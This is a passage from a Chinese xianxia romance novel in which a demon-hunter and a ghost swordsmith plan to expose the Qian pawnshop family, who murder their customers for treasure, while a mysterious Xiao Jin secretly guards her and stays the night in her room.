姜长泠本还以为眼前厉鬼的修为达到了化为实体的境界,不过仔细一辨别才知这并非实体,男子所化的虚像上衣摆处还有着隐隐的波动。
她犹豫着收起符咒。
“或许我化为人的模样更有说服力。”男子站姿挺拔,颇有一番风度,“我名为长孙归璟。”
“晚辈姜长泠。”姜长泠行完礼,依旧站在原地问道,“不知前辈生前是因何而受困扰?”
长孙归璟见她拘禁地站着,不禁笑了笑:“无需拘束,坐着说吧,反正我也坐不了。”
此话一出,长孙归璟显得亲近不少。
姜长泠应声坐下。
“若我没记错的话,你应是妖都的捉妖师,定是了解束灵烙印吧?”长孙归璟问道。
姜长泠点头道:“束灵烙印一般为罪妖所用,一但烙下,灵力便会散尽,无转圜之地。”
听到此处,长孙归璟便提出疑问:“可昨晚那只虎妖显然并非如此。”
姜长泠虽也有此见解,但这又与他变为厉鬼有何关系呢?
“晚辈愚钝,不知前辈所表何意?”
“嗯...此事说来话长,你看了便知道了。”长孙归璟接着向她伸出手。
姜长泠看了一眼,便将手搭了上去。
没有温感和触感,只不过是一个寻常的抬手动作,姜长泠眼前便瞬间陷入漆黑一片。
而后听到铁链晃动的声音,眼前才恢复了明亮。
映入眼帘的是一片灰暗的地牢,而她面前正站着两只幻化成人型的妖,脖颈处有着束灵烙印,还有一个身穿明黄色衣袍挺着个大肚腩的中年男人,手里还戴着一枚扳指。
她正通过长孙归璟的视角了解他的生前。
“为何如此倔强呢,长孙归璟,你明明不至于此的。”男人笑着开了口。
长孙归璟眉目厌倦,轻声道:“我这手艺是不会给你拿来害人的。”
男人眉头拧了一下,而后又露出些许怜爱,不禁走上前来,拍了拍他的脸:“何必呢。”
“瞧瞧你们这修道之人的皮囊保护得如此之好,想必已然是娶妻生子了吧?”男人的脸逐渐向他靠近,露出一个邪恶的笑容,“你要是为我做事,我可在青竹城内保你们一家无虞,还可享受荣华富贵。”
长孙归璟冷冷盯着他:“另请高明吧,我可不想当名声丑恶之人,尤其是你这种卑鄙小人,开个典当铺竟也可以如此无耻,杀人取财。”
典当?姜长泠心想。
若是想到在青竹城内开典当铺的能有如此底气的便仅此一家——钱家。
传闻中钱家几乎是财气通天,凡是经商之户无一不得给钱家脸面。
男人眯起眼睛,奸诈笑道:“这就是你们这些穷人一辈子都挣不着几个钱的原因。”
“啧啧,可惜你这顶尖的铸剑手艺了。”男人向后走去,似是准备离开,“你在牢里再好好想想吧,刑具会教你如何开口的。”
于是面前的两只妖怪眼中便亮着阴恻恻的眼神向他靠来。
画面又恢复了一片黑暗,黑暗中长孙归璟的声音带着笑意缓缓传来:“很可怕吧?”
于是还没等她回答,画面又亮了起来,耳鸣声也接踵而至。
这次她望着满是血迹斑驳的地面,貌似是长孙归璟低了头。
她虽无法与长孙归璟感同身受,但多多少少也猜到了他受到了多么惨无人道的虐待。
脚步声纷纷,离他愈来愈近,而后停了下来。
长孙归璟已被折磨得没有力气抬头看向来人。
而来人也不紧不慢,掷出一样物品丢在地面。
沉着有力的剑体与地面碰撞,发出一声闷响,安静地躺在了长孙归璟的脚边。
而姜长泠只看到了这把剑一眼,随即视线便被抬起转移到了来人的脸上。
“你是如何找到这把剑的?!”方才还奄奄一息的长孙归璟这会忽然变得激动起来。
“哎哟,终于戳到你软肋了么?”男人干笑一声,歪头示意了一番旁边的妖仆,“去,把那把剑捡起来。”
妖仆上前去把剑捡起,姜长泠才看清了这把剑的全貌。
或许是她不识剑器,没看出这把剑的特别之处。
男人看着长孙归璟凶狠的目光,释然道:“之前我还觉得这把破铁剑没什么用处呢,原来在大铸剑师眼里竟然算是件宝贝。”
“这破铁剑能有什么门道?”男人啐了一口,“我最后再问你一遍,加入还是不加入?”
长孙归璟显然在此刻迟疑了,怒道:“你个卑鄙无耻的小人,就算是用这把剑来逼我我也不会帮你的,她也不会想我这样!”
男人有些头疼地捂头,遗憾道:“长孙归璟,你留下的价值已经超过了在牢里劝你的价值了...”
“既然你这么不愿,就用这把剑做个了断吧。”男人轻飘飘落下一句。
“好啊,我死后做鬼亦不会放过你!你个人渣!”长孙归璟怒斥。
男人似乎有些愠怒,但不形于色,只是淡淡地对一旁的妖仆吩咐:“先将剑毁了,再杀了他。”
说完,他便头也不回地走了。
“你们敢!你们敢动这把剑试试!”长孙归璟挣动着锁链,情绪激动。
妖仆如跳梁小丑般地看着他笑了笑,握住剑只消用了一点灵力便把这剑身碎的七零八落。
长孙归璟死死地盯着地上碎落的剑片,连妖仆都无暇顾及了。
妖仆嘲了一声,便握住残剩的剑柄向长孙归璟捅去。
明明没有痛觉,可姜长泠还是不忍地皱了下眉。
回忆到此为止,所有画面消散而去,姜长泠又回到了她所居住的房屋之中。
眼前的长孙归璟化为的虚像还在
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她身旁站着,与刚才那撕心裂肺相比全然像是两个人。
她又想起了昨夜长孙归璟称自己为无极剑圣的语气,与这不差,且虎妖断白祝锦的剑之时,几乎与他含恨而死的生前的场景一模一样。
也难怪他会失控夺舍。
“杀我的人,想必你也猜到是谁了,就是钱大典当的老板——钱恒亮。”长孙归璟叹息道,“我着实想不通他为何会有如此多的妖仆在身,且统一有着你们妖都的束灵烙印。”
“嗯,确实奇怪,但前辈为鬼魂之身,为何不亲自到他府上一探究竟?”姜长泠问道。
人死化为鬼魂后,要么执念未消在人间游荡,要么入地府轮回。
而鬼魂在人间游荡时,触碰不到人间任何一物,除非修为达到了一定的境界能塑造肉身。
“我试过了,钱府的大门貌似对鬼魂设下了屏障,没进去过。”长孙归璟愁道。
姜长泠忍不住皱眉,连鬼都要防,这又是为何?
“前辈生前是铸剑师吗,那钱恒亮是因你不为他铸剑而杀你吗?”姜长泠又问道。
长孙归璟眼眸一黯,思忖了片刻开口道:“曾经我是个修行的道士,不过有些本领,在江湖中伸张正义小有名气,辗转过多个地方。”
“但后来,我遇见了心悦之人,结亲后,为了避免过多的仇家,我便和我娘子归隐于青竹城边的小县,以铁匠铸剑为生。”
“她铸剑的本领比我厉害,那把被毁掉的剑就是她送我的。”长孙归璟说到这,似乎连带着回忆,嘴角微微翘起。
姜长泠点点头:“原来如此。”
“那么前辈骂他杀人取财又是何意思?”
闻言,长孙归璟又恢复了严肃:“我曾帮过一位客人铸剑,可后来他因去了钱大典当典当了一件宝物后被妖仆追杀,兴许就是那会我的剑被他们看上了,然后便被请去了钱府做客,一开口他们还是好言相劝着的,可直到我看到了那位客人的头颅...”
“后来我便发现了他们只挑来典当值钱的宝物的人下手。”
姜长泠恍然大悟,不由感叹城中竟还有这等人物。
不过像钱家这种在青竹城盘根已久的地头蛇,一时想要扳倒谈何简单呢?何况她只不过是一介捉妖师罢了。
而且此事还不知会不会与妖都有关,毕竟那些妖仆脖子上都烫着束灵烙印。
理应来说束灵印只得由妖都执掌,但这束灵印算不上稀缺,难说会有人用大价钱买下。
“那前辈需要晚辈如何帮忙?”姜长泠问道。
这一问,也把长孙归璟问倒了。
他清醒过来,自己不过是为鬼在游荡人间之时碰巧遇到了一位通灵天赋极高的捉妖师,也只是碰巧这位捉妖师需要帮助,且不食言应允了他一个人情。
他不过是太高兴以为自己遇到了能与沟通之人。
可这貌似并不是能帮他复仇之人。
她只是一个捉妖师罢了。
谁知,姜长泠见他愣住,又淡然道:“这等污秽之事,就算不是前辈所托,晚辈也不会置之不理的,阻止钱家害更多的人,我辈义不容辞。”
“只不过,晚辈需要做一个详细的计划。”
8. 危险
这计划该从何做起,长孙归璟自己都没想到。
“前辈的妻子可尚在人世?”姜长泠问道。
长孙归璟摇摇头:“她因病早逝,不过与我留下一子,名为长孙仲晏。”
“四年前我逝世时,这小子才年岁十四,年纪尚小便学着闹离家出走,不过也多亏了他这坏脾性救了他一命,没被钱恒亮抓住。”
“不过,现在就连我也不知道他的下落何处,但愿这臭小子能活得好好的吧。”
姜长泠本想着若是能找到长孙归璟的家人的话兴许还能铸造出一把剑出来当宝物去典当,可貌似此法不通。
她思忖片刻道:“但要应证钱家夺财杀人的说法,我需要一件钱家看得上的宝物并去典当,试着能不能借此宝物进钱府见钱恒亮一面,如若不能,那便引他们派人来追杀我,这样无论如何都能引起钱恒亮注意了。”
“不过你只身冒然进钱府,是否有些太过危险了?”长孙归璟问道。
“多谢前辈关心。”姜长泠莞尔,“我定有分寸,进钱府后,我会想办法将钱府设下的结界破坏掉,那会,前辈便能进钱府了。”
长孙归璟微微瞪大了眼睛,不禁夸道:“你分明为捉妖师,为何对鬼怪通灵方面了解如此透彻?”
“前辈谬赞,我不过是在闲散时喜欢看点书,钻研一下罢了。”姜长泠腼腆道。
长孙归璟若有所思地点点头:“如此厉害,世间上如你这般的人不多了。”
“你方才说,需得一件宝物送去典当,我便想起我曾经铸过一方宝剑,是我年少意气风发时为自己铸的第一把剑,用的料材都为上品,只不过我后来归隐,这把宝剑便一直藏于家里的暗格之中。”
闻言,姜长泠来了兴致,问道:“那前辈可知这把剑现在辗转到了何处?”
长孙归璟揉了揉太阳穴:“...四年早已沧海桑田,现在…还真有些说不准。”
气氛默然了一会,长孙归璟便看向窗外道:“天色晚了,我明日再找你商议此事吧,就先不打扰你歇息了,我先去探那宝剑的位置。”
话音刚落,姜长泠便站起了身,拱手道:“前辈慢走。”
长孙归璟重新化为了一团黑雾飘在上空,顿了下便笑道:“你我之间就不必如此客气了吧,或许你可以称我为长孙叔?或者叔也行。”
姜长泠怔了会,眨着两个圆滚滚的眼睛盯着他,字字斟酌道:“...长...孙...叔?”
“怎么?这个称呼很难让你开口吗?”长孙归璟尽管化成黑雾也难掩住言语中的笑意。
她原以为与长孙归璟谈话中改掉自己的谦称已是最大的限度,却没想到对方丝毫不在意,连敬称都一并改了去。
姜长泠摇摇头,笑道:“当然没有,长孙叔。”
“那便好,明日见,长泠。”
长孙归璟撂下一句话后,便飘出了窗外。
姜长泠在原地看他离去的方向却失神了起来。
只因这一声“长泠”,让她醍醐灌顶。
道不清这是一种什么样的感受,似乎是尘封了许久的儿时记忆忽然被唤醒,一股异样熟悉的感觉忽然涌上她心头。
可要想起具体是什么记忆,谁叫过她长泠,谁叫过她阿泠,她都记不清了。
她回过神来摒除杂念,从书柜上抽了一本书便开始读了起来。
*
夜色愈浓,天上又开始飘下小雪,此时两名男子正悄无声息地站在姜长泠所在的庭院外围。
“埋伏了几个?”萧烬问。
“约莫有三个。”符月炳答。
话音刚落,一团黑雾便从姜长泠的窗飘了出来,奇怪的是,这黑雾没有立即飘走,而是悬空在了原地。
两人不约而同地看向黑雾,符月炳道:“这鬼在那姜捉妖师的屋中呆了很久。”
“嗯?难道说他也是来害姜长泠的?”萧烬略有些疑惑。
“看着不太像,这鬼的修为还未达到能害人的地步,若说这鬼呆在姜捉妖师房中如此之久,或许...是与她有怨?”符月炳分析。
萧烬眼里浮现笑意:“有怨,那更有意思了。”
于是乎,他控制着那团黑雾向他飘来。
待飘到他面前,他语气温柔问道:“不如与我说说你在看什么?”
长孙归璟不免有些惊恐,原本他担心这两人是来害姜长泠的,便多留个心眼呆在原地多看了他们几眼。
可不曾想这两位竟然也能看见鬼,能见到鬼便算了,灵力还十分强盛,光是用意念便能控制住他。
“...你们两个深更半夜鬼祟地在这附近站着,究竟是何人?”长孙归璟问道。
萧烬倒是有些意外,这鬼的口吻听起来倒是不像个找姜长泠索命的。
“站在这里又与你何干?”萧烬问道。
长孙归璟一时语塞,思索会才道:“当然是怕你们意谋不轨。”
“嗯,然后呢?”萧烬继续问道。
然后当然是将此事告知姜长泠,让她戒备。
可长孙归璟直觉感受到眼前之人不像是好人,所以并不打算将这些事全盘托出。
随即他只好说:“如你所知,我也只能袖手旁观。”
可萧烬却不这么认为,又问道:“你认识姜长泠?”
长孙归璟心里一惊,却还是强装着镇定道:“此人是谁?我并不认识。”
萧烬闻言勾了勾唇角,温润的瞳孔却染上几分寒意,轻声启唇:“要我告诉你么,你从她房中出来的。”
此话一出,长孙归璟便感觉有着无数根无形的针向他刺来,密密麻麻遍布全身,疼得他差点说不出话。
“路过,路过不行吗。”长孙归璟不由得从空中降落到地面。
“继续编。”萧烬道。
长孙归璟在疼痛中终于恢复了一丝清明,问道:“不对...你是怎么认识长泠的?”
身上的痛感骤然散去,长孙归璟松了口气。
“你无需知道。”萧烬淡声道,“你靠近她的目的是什么?”
这会轮到长孙归璟觉得不对劲了,面前之人说出的话怎么看都应该是从他嘴里说出才合理。
于是他又问:“你...你不是来伤害她的?”
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萧烬眯了眯眼问道:“若是我想要她性命还轮得到你阻碍?”
这么说貌似也有道理,长孙归璟虽摸不清眼前人的实力,但就凭借着他在他身上用的手段,大抵就能猜出他修为绝对不低,且应在他生前之上。
若是他附身在姜长泠身上也未必能打得过他。
思忖了一会,他还是决定将事情的经过说了一遍。
听完,萧烬觉得此事甚是有趣,又有些隐患,便问道:“你所说的钱家,此人来头很大?”
“财气通天,权势也不小。”长孙归璟道。
“很危险?”
“十分危险。”
长孙归璟回答完这句话才注意到,这话语的走向,貌似是想要帮他的意思?
“公子,距离姜捉妖师熄灯已经有一会了。”符月炳忽然道。
“嗯。”萧烬颔首,接着又对长孙归璟说,“今夜之事,不许与姜长泠提起,懂否?”
长孙归璟听的一头雾水,为什么面前两人要在意姜长泠的房屋熄不熄灯,而且如果是姜长泠的朋友又为何不能让她知道?
“来了。”
只听另一个穿着劲装的男子低声抛下一句,两人便以迅雷不及掩耳之势从他眼底下闪身消失了。
两人动机着实怪异,长孙归璟还是秉着不放心的心态,打算回去看看姜长泠有没有危险。
他漂移到姜长泠房中,只见周遭一片黑暗并无有人来过的迹象而后又安心地穿墙而至后院。
后院挂着几盏明明灭灭灯笼,也不知是被风吹了还是怎么了,不过他很快就将视线转移在了几个打斗的身影中。
看战况貌似是一打二。
而那其中一人,就是那名说“来了”的男子。
只见他用剑利落,杀伐果断,稳占上风,另外与他对峙的两人被他压制地连连败退。
不过那占上风的男子动作正有意无意地放得轻柔,踩在地上的雪声都要比那两人要小上几分。
莫非是怕发出声音吵醒屋中之人?
长孙归璟琢磨片刻,还是决定把情况告诉姜长泠为好。
毕竟谁知他们在此处开战的目的是什么。
这么想着,他便想钻回姜长泠的屋中叫醒她。
谁知,才去到一半,他的身体又被熟悉地意念给控制住往另一个地方飘去。
最终飘到了前庭的外面才停下...
萧烬正控制住了一名妖仆跪在地上,他问这妖仆:“你是钱家派来的妖?”
长孙归璟本还心觉无奈,但看到这场面,比那妖仆都要激动上三分:“这妖上脖颈处有束灵烙印,准没错!”
遗憾的是,这话说完并没有人搭理他,因为一个听不到,一个不想说。
妖仆恶狠狠地瞪着萧烬,扭头吐了口口水。
萧烬笑了一声,仿佛是嘲面前这妖仆的不自量力。
下一瞬,妖仆整个身体便陷入了痉挛抽搐之中,表情扭捏痛苦,一张嘴开开合合,愣是发不出一点声音。
长孙归璟看着这一幕便联想起生前被折磨的滋味,不禁还有些寒颤。
9. 借宿
“喜欢什么刑罚?”
“车裂?”
“腰斩?”
“凌迟?”
萧烬每从嘴里蹦出一个刑罚,这妖仆的脸色就要难看上一分,额头上逐渐暴起青筋,不过一会,就僵直着身体向一旁倒去。
“说话。”萧烬施尽刑罚后允准了一次妖仆开口的机会。
妖仆喘息了一会,瞳中依旧充满恶狠,没有半点要臣服的意思。
“不想说,那就算了。”萧烬和蔼地笑了一下,尽显善解人意。
于是那妖仆又陷入了自我痛苦挣扎之中。
“不觉得解气?”萧烬转头又对着长孙归璟道。
长孙归璟愣了下,才反应过来这句话的言外之意是:感觉到你兴致不高,是觉得不够解气么?
他想想便道:“并非如此,我只不过觉得此妖非彼妖,就算是治了他,也还有更多的妖仆正在做伤天害理之事。”
其实这个道理早在他死的那一年他便想通了,他恨钱恒亮罪恶贪恋,为了利益除掉自己,也恨他开典当,杀人夺财,让本就贫苦的百姓人家雪上加霜。
他本以为这是他成为厉鬼的原因,但他发现并不是。
他最恨的还是因为那妖仆断了他的剑。
“心胸挺广阔。”萧烬锐平。
长孙归璟下意识接道:“承让承让。”
后来才反应过来,这算什么承让...
这时,萧烬身边悄无声息地闪出一个人。
“放走一个了。”符月炳拱手道。
“好。”萧烬应道。
“为何要放走一个?这样岂不是太容易暴露你们的实力。”长孙归璟甚是不解。
他看着符月炳,似乎是觉得符月炳会给他一个答复。
“自然是让他们快点派人来收尸。”不过回应他之人是萧烬。
长孙归璟不免感觉背后一凉,而后才反应过来:“所以你们半夜蹲守在此处,是早便知道有妖在此处要袭击捉妖师?”
话音落下,饶是常常面若霜色的符月炳都皱了下眉,抬眼睨了他一眼。
这一眼什么意思?是在嫌弃他蠢?
长孙归璟不服道:“明明是好人动作却如此...”
他话才说了道一半,便被一股莫名的力量推行着向离去...
“喂!这又是要带我去哪啊?”
萧烬没有应他,符月炳见状也懂事告退。
偌大空旷的街道之上便剩下了萧烬和地上不断在翻滚着的妖仆。
等落在身上的雪堆积得差不多了,萧烬便抬步向庭院内走去。
姜长泠的身边太多危险,他需要一个时机以亲切却又不逾越的身份接近她。
一来,他能第一时间将她身边的危险扫除,二来,他也能多了解她,好让他能找到这莫名的痛觉互通的一点眉目。
其他的事便暂由符月炳着手去查。
他从衣袖中抽出一张传音符,叫了一声:“姜长泠。”
符咒上果断染上湛蓝色的灵流,他想了一会,便道:“打扰了,不知姜捉妖师是否已入眠?”
待他说完,将指间的传音符松开,这符咒便落下消失了。
房中,姜长泠正在睡梦中,就在困意鼎盛要熟睡之时,一张传音符赫然悬在她耳边。
一个温润的声音从符上传来:“打扰了,不知姜捉妖师是否已入眠?”
听到声音后她逐渐强制让自己清醒过来。
这是哪名捉妖师的声音?
这声音虽是熟悉的,但为什么就是想不起来是谁呢?
身体和意识正在打架。
一个叫嚣着要睡觉,而另一个说要起床干活了。
她强撑着困意从床上坐了起来,闭着眼捂住脸开始回忆那传音符的内容。
貌似是问她,是否已入眠?
她猛然睁开眼回过神来。
不对,还有一个人会用传音符给他。
萧公子?
这么想着时,她便发觉她有一股灵力正隐隐萦绕在她周围,距离很近。
难道是遇到了什么难处?
她果断下了床,披上外衣穿上鞋便去将门打开了一条缝隙。
外面细雪纷飞,一开门后寒气便不断地往她屋内钻。
不过她是修道之人,有着灵力护体制衡体温,并不会像普通人一般畏寒。
只见朦胧夜色之中,有一人长身玉立背对着她,白净的衣袍在月色的映射下像是笼了一层鎏光。
就在她开门这段间隙,那男子也转身朝她看来。
萧烬连忙拱手行礼,脸上浮现淡淡笑意。
姜长泠有些惊讶,困意瞬间消散,扶着门的手向前推开,任由仍由寒风裹挟而来。
而就在她踏出房门几步后,一只妖便从萧烬背后的不远处出现,似是要向萧烬袭去。
于是她连忙抽出一记缚妖绳向萧烬的腰间捆去,一扯便将萧烬整个人带到了身边。
“萧公子,小心。”姜长泠上前几步挡至他身前,正想与那妖应战时,却见那妖以一个变扭的姿势跑了?
姜长泠将缚妖绳收回时,身上披着的外衣无意被抖落而下。
她正要蹲下身去捡起,却见萧烬已快她一步将地上的外衣捡起,还帮她扬了扬尘雪。
她有些难为情,正要感谢着接过外衣,却见萧烬并没有要还给她的意思,而是拎着外衣向她走了几步,帮她披了回去。
靠近时,姜长泠能耗闻到萧烬身上有着与冰凉气息相近的雪松香,很罕见的香味。
她不敢抬头看他,只得仓促地说了句谢谢。
待两人距离拉开,姜长泠拿出“誓死不会再让它掉第二次”的力气拽住那披着的外衣,抬头问道:“萧公子可是遇到了什么困难了?”
萧烬装作惆怅,嗟叹道:“姜捉妖师果真说的不错,财不可外现,我本想在外寻个客栈暂歇一晚,不过刚掏出钱袋就被抢去了。”
“不过。”萧烬又从袖中抽出一张新的传音符,“我发现拿出传音符后喊你的名字后,会出现指引方向的火苗,于是我一路跟随着火苗走,就找到这里了。”
闻言,姜长泠眼眸一亮,觉得甚是新奇,没想到除自己之外别人也能知晓自己的位置。
或许萧公子是凡人的原因,才只能靠这符咒上的灵力找到自己,若是与她相同的修道之人,大概便能精确知晓自己的位置了吧。
她的思绪不禁被吸引飘走。
“姜长泠。”萧烬轻声唤了她一声,姜长泠
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忽然回过神来应了一声。
原以为是萧烬在喊她,但实则他是在唤醒他手中的传音符。
“你看。”
萧烬手中的传音符染上一层灵流,而就在灵流溢出符咒边缘时像是升起了一小小撮火苗。
姜长泠试着移动自身,而这“火苗”也跟随着她移动。
“原来如此。”她不禁感叹。
忽然,连廊处的另一户捉妖师亮起了灯,不知是起夜还是被吵醒了。
见状,姜长泠将声音压得更低:“不如我们进屋再说?”
而萧烬佯装听不清的模样疑惑地“嗯?”了一声。
姜长泠又向那光亮的方向瞥了一眼,踮起脚靠着他耳朵不远不近的距离又说了一句:“我们进屋再说。”
这会萧烬听得真切,将她小心翼翼的举动尽收眼底,却还是在逗她:“进屋?”
眼看着那光亮的房屋的木门快要被推开,姜长泠皱了下眉,自顾自地抓住了萧烬的手腕冲进了屋内。
接着一气呵成地把门关上。
房中黑暗中透露着寂静,此刻她心跳如鼓,紧握住了萧烬的手腕。
她自己也不知在害怕什么,只不过是脑中的理智下意识让她这么做了。
直到身后的萧烬低低地笑了一声,姜长泠的思绪才被接上,连忙松开了萧烬的手。
“对不起,萧公子,我此举太过莽撞了。”姜长泠虽然脸颊已然晕上温热,但说话间仍是不紧不慢。
“我有这么见不得人?”萧烬的声音从暗中传来,显得格外笑意轻柔,似乎这并不是一句问句,而是挑撩。
姜长泠一时没反应过来:“嗯?”
“罢了,我还是不在这里给你造成困扰了,等那人走后,我便自行离去吧。”萧烬只当方才的话没说,开始卖起惨来。
“其实...我方才所说的莽撞不过是指带萧公子进来时的动作。”姜长泠不太会说话安慰人,只好有些不自在地去点起灯。
照明亮起,姜长泠便看见萧烬那双潋滟的眸子正直直盯着她。
她不知为何有些紧张起来,磕磕绊绊道:“若是...在此处借宿一宿当然可以,只不过我这房屋着实算小,并没有多一张床。”
“而且,我独来独往惯了,也没有待客的准备,只怕萧公子你睡得难受。”
“无碍,姜捉妖师肯借地让我留宿一晚已是感激不尽,我还怎敢挑三挑四?”萧烬顺其自然地坐下。
姜长泠没想到,当今世上竟真的有如此自觉之人?
无数的震惊和无措涌上她心头,可她脸上却丝毫不显,本能促使着她只得默默咽了下去。
“...萧公子不介意就好。”
姜长泠转身去柜子拿大氅和夏季时用的薄被,“我在家里吃穿用度都比较简陋,萧公子不介意的就拿这些勉强凑合一晚吧。”
“好。”萧烬道。
姜长泠拿好薄被和大氅递给萧烬。
拿完后,她又觉得不够,便道:“我再拿些厚衣服给你盖。”
“不用,有这些便够了,多谢。”萧烬起身走到了房屋中离床最远的距离开始用薄被铺床。
姜长泠见他铺好后,问道:“...那我熄灯了?”
“嗯。”
10. 典当
黑暗中,姜长泠辗转反侧,心里不断想着这貌似是她十八年生涯中做过最猖獗逾矩之事。
她心中隐隐感觉不安,可转念一想,萧公子站在院中时差点被妖袭击,若是让他一人留在外面也太过危险。
再加上他救过她,允他借宿好像也没有那么过分?
于是她闭着眼睛一路从挣扎想到放弃,缓缓沉睡过去...
过了许久,萧烬终于没在暗中听到姜长泠翻身的动静。
他起身悄然走到了姜长泠的床边,默默向她的手背处输送着灵力。
他抬手看向自己的手背,这惦记了一天的伤口总算是被消下去。
这些伤着实蹊跷,他自己治愈却无效,到头来还只能为她治疗他身上的伤才会跟着治愈。
他盯着手背无奈轻叹,放下手时便无声地闪身离开了此处。
后院中,萧烬看着那凌乱的雪地中已经干净一片,甚至血迹也被刚飘的雪逐渐覆盖,神情没什么变化。
都是预料之中的事。
“今晚来潜伏的妖,的确是钱府的手笔。”符月炳出现在他身后。
“姜长泠怎么惹到钱府的?”萧烬不解。
符月炳今日特意在青竹城调查了个遍,分析道:“属下曾刺死的那只虎妖,应该就是钱府手下的妖。”
听了符月炳的这么一番话,萧烬恍然明白,又道:“看来这不仅仅是动了他一颗棋子这么简单。”
“确有不对劲,今天早上姜捉妖师在客栈中遇险,也是钱府的手笔。”符月炳回答,“早上时,青竹城上上下下有接近二十个地方遇袭。”
“妖都办事处里能打的中高阶捉妖师全都被分派出去了,不过就算如此,也只是有人受伤,无人死,其中伤得最重的只有姜捉妖师的那位同门。”
萧烬闻言有趣道:“结合今晚的埋伏来看,不可能是巧合了。”
今天早上若不是姜长泠在客栈碰上他,恐怕她又要像昨晚一样被打得奄奄一息。
“这样看来,钱府手下的妖仆数量岂不是很多,足够拖延住整个妖都办事处?”萧烬问道。
“属下发现,那些妖并不是通过自身修炼而成的,是由人为催化而成的妖,比如客栈里用的不过是肉猪,而那位同门的酒坊里不过是随便找了几只老鼠催化罢了。”符月炳道。
萧烬捕捉到关键字眼,问道:“这短效催化法器是平常人家能买到的?”
听及此处,符月炳才发觉有所疏漏,回道:“属下还未去查,不过应当是市面上不常见的法器。”
“嗯。”萧烬应了一声,“此事与妖都办事处可有干系?”
“目前来说无法排除。”符月炳对于此处也有存疑的地方,“不过既然这束灵烙印如此显眼,一眼便看出是出自何处,钱府也不作遮掩,就这么大方的展示出来,倒不太像是一个商人会做出的事情。”
萧烬笑了下道:“束灵烙印的存在不是来表明此妖戴罪之身的么?”
说完,符月炳顿时明白了萧烬话中的含义。
的确,单从普通人的角度看,一但牵扯到束灵烙印的第一反应只会联想到罪妖,又会有多少个人会在意这烙印是妖都办事处烙下的?
话谈及此处,萧烬旋身准备离开:“走了。”
*
一夜过去,雪已渐停。
姜长泠从床上坐起醒来,房屋已经比昨夜要光亮许多,不过还有层朦胧的暗色笼罩着。
她第一件事便是看向了萧烬的床铺。
远远看去,那床铺的位置已经空无一人,而薄被和大氅已经被折叠整齐放在桌上。
人呢,就这么不辞而别了?
虽怀揣着疑心,但姜长泠仍旧感受到有一丝灵力正在她附近游走。
很淡,正巧符合昨天萧烬身上残留着她微弱的灵流。
没想太多,姜长泠便下床洗漱打扮了一番就准备出门。
没想到出到庭院门口,便看见了萧烬站在门口等她。
“萧公子怎么起那么早?”姜长泠愣住。
萧烬理所应当道:“孤男寡女本就不适共处一室,昨夜姜捉妖师破例让我借宿已是感激不尽。”
“那...那件大氅,你不要了吗?”姜长泠问。
“既然姜捉妖师说是我赠与你的,哪有收回去的道理。”萧烬尽显性子温吞,不急不慢地与她解释着。
“可那件大氅着实算得上贵重,我不敢当。”姜长泠惶恐道。
见状,萧烬只好低眉叹息:“那不如将那件大氅卖了换点钱,或者当了?”
“当?”姜长泠脑中灵光一现,“你舍得吗?”
萧烬回以无辜的语气:“如今我失忆了,看什么都没感情,当掉就当掉吧,至少还能有些钱。”
姜长泠思忖了会,便转身回屋把大氅拿了出来。
“一起吃早膳吗?”姜长泠问道。
“不过我现在身上没钱。”萧烬道。
“没事,我请你吧。”姜长泠笑了笑。
两人吃了早膳后,姜长泠便带着萧烬去了城中最大的钱大典当处。
钱家的典当生意垄断青竹城,在大街小巷中开了不少典当分铺,但能典当的物品都不算全面,其中最全面的还属荆平街的钱大典当,上至修道的奇珍异宝,下至衣物宝饰。
也因全面,这家的典当铺收取的验物费也要比其他家的要更高一些。
两人抵达此处,只见恢弘而高大的当铺矗立,外层朱色与金色的漆面交相辉映,无一不透露着富贵。
招牌用着黑墨勾写出苍劲有力的四个字——钱大典当。
姜长泠思索一会,还是决定由她一人前去典当:“你把大氅给我吧,我进去当好后将钱给你。”
“好。”萧烬将大氅递给姜长泠。
进典当后,姜长泠在案台上将大氅递了进去。
老板接过这大氅时眼里闪过一丝惊诧,不过转瞬即逝,他将这大氅翻来覆去,看了又看,终于问出声:“你要当几期?”
“死当。”姜长泠道。
老板忽然抬起头打量着她:“姑娘不至于吧?”
“至于。”
“嗯...既然这样的话,我看你也算是有难处,那便...四十五两银子,如何?”老板笑眯眯道。
姜长泠面上毫无波澜,沉默地盯着老板。
实际上她亦不知这件大氅值多少钱,不过凭着眼前老板的反应,应该是开低了。
老板被盯得浑身不自在,莫名有些歉意,又笑着改口:“五十两吧?如何?”
姜长泠摇摇
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头。
“五十五两,不能再高了。”老板扭头。
姜长泠犹豫了下,又摇了摇头。
“六十两,再少就不值了!”老板一拍桌。
姜长泠把手伸进栏杆,似想要把大氅收回。
老板连忙把大氅薅住:“且慢,且慢,哎。”
“七十两...七十两可以了吗?”老板一脸幽怨。
姜长泠这才出声:“成交。”
老板连忙写好当票递给她,让她去隔壁领银子。
片刻,姜长泠便藏了一袋厚实的银子走出了典当。
与萧烬会面时,姜长泠问道:“你觉得你这大氅能当多少?”
萧烬装作苦恼,笑着说:“不知道,也许只有几两银子?”
姜长泠顺其自然地握住萧烬的手腕走到一处偏僻的小巷之中,将方才那袋银子拿了出来递给他:“当了足足七十两。”
“这么多。”萧烬眉头一挑,心想着他这大氅是从魔界带出来的,光是做工便需要百两银子了,更何况还要用上乘布料。
也不知是该说这当铺黑心呢还是说姜长泠太过单纯。
“你快收起来。”姜长泠用双手捧着递到萧烬身前,生怕这些银子被人抢了去。
萧烬瞧见她的慌乱却偏不收下这银子,诚恳道:“不如这些钱就让你代为保管吧,恐怕我无力保管。”
姜长泠捧钱袋的手更紧了几分,想了想,本已要往衣襟处放,可她忽然想到,万一一会她要执行任务或是今晚有危险被追杀怎么办,于是她说:“我尽量帮你保管到夜晚。”
“多谢姜捉妖师。”萧烬笑道。
“话说,你昨日被抢了钱报官了吗?”姜长泠将钱袋收好。
萧烬摇摇头说:“那人没伤我性命便不错了,我连样貌都未瞧清。”
姜长泠忽而替他觉得憋屈,却又别无他法,只好道:“算了,我先带你去看郎中吧,看看你能否恢复起记忆。”
“嗯。”
*
医馆内。
一名两鬓霜白的郎中正搭着萧烬的手腕切脉,脸上的神情是为古怪。
左思右想间,他起身叹了口气去了药柜之上翻出了一本医书细细看了起来。
“我说你们这些修道之人生病,可让老夫好找啊。”郎中终于忍不住嚷嚷出声。
“可...我并非是修道之人。”萧烬道。
翻书的声音戛然而止,郎中夹住泛黄的书页,抬头向他看来,眼神犀利:“你若并非是修道之人,那真是奇了怪了。”
“莫非是有灵根的缘故?”姜长泠问道。
